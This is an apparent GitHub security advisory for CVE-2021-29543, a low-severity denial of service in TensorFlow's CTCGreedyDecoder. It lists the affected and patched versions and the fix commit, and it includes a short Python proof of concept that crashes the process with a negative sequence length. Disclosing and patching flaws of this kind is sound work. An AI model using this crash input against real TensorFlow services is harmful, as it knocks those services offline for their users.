`CHECK`-fail in `CTCGreedyDecoder`

Low **mihaimaruseac** published **GHSA-fphq-gw9m-ghrv** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can trigger a denial of service via a `CHECK` -fail in `tf.raw_ops.CTCGreedyDecoder` :

```
import tensorflow as tf

inputs = tf.constant([], shape=[18, 2, 0], dtype=tf.float32)
sequence_length = tf.constant([-100, 17], shape=[2], dtype=tf.int32)
merge_repeated = False

tf.raw_ops.CTCGreedyDecoder(inputs=inputs, sequence_length=sequence_length, merge_repeated=merge_repeated)
```

This is because the implementation has a `CHECK_LT` inserted to validate some invariants. When this condition is false, the program aborts, instead of returning a valid error to the user. This abnormal termination can be weaponized in denial of service attacks.

Patches

We have patched the issue in GitHub commit ea3b43e98c32c97b35d52b4c66f9107452ca8fb2.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29543

Weaknesses

No CWEs